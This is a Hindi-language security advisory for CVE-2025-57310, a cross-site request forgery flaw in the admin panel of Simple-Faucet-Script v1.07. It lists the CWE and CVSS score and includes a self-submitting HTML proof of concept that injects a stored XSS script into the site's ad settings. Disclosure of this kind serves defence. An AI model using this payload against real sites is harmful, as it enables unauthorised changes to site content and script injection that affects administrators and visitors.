CVE-2025-57310

Salmen2/Simple-Faucet-Script v1.07 में एक क्रॉस-साइट रिक्वेस्ट फोर्जरी (CSRF) भेद्यता, जो admin.php?p=ads&c=1 पर क्राफ्टेड POST अनुरोध के माध्यम से हमलावरों को मनमाना कोड निष्पादित करने की अनुमति देती है।

CWE

CWE-352: Cross-Site Request Forgery (CSRF)

CVSS v3.1 बेस स्कोर: 8.8 (उच्च)

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

सारांश

उत्पाद एडमिन पैनल पर क्रॉस-साइट रिक्वेस्ट फोर्जरी (CSRF) के प्रति संवेदनशील है। जब कोई प्रमाणित एडमिन PoC वाले दुर्भावनापूर्ण पेज पर जाता है, तो CSRF हमला होमपेज सामग्री के अनधिकृत संशोधन का कारण बनता है।

पुनरुत्पादन के चरण

https://example.com/admin.php पर एक व्यवस्थापक के रूप में लॉगिन करें
निम्नलिखित PoC खोलें, होमपेज पर एक अलर्ट पॉपअप देखें (स्टोर्ड XSS)।

<!DOCTYPE html>
  <html>
  <head>
      <title>CSRF PoC</title>
  </head>
  <body>
      <h3>Standard CSRF PoC</h3>
      <form action="https://example.com/admin.php?p=ads&c=1" method="post">
        <input type="hidden" name="spacetop" value="<script>alert();</script>" />
          <input type="submit" value="Submit request" />
      </form>
      <script>
          history.pushState('', '', '/');
          document.forms[0].submit();
      </script>
  </body>
  </html>

CVE-2025-57310

सबसे लोकप्रिय

प्रभाव

श्रेय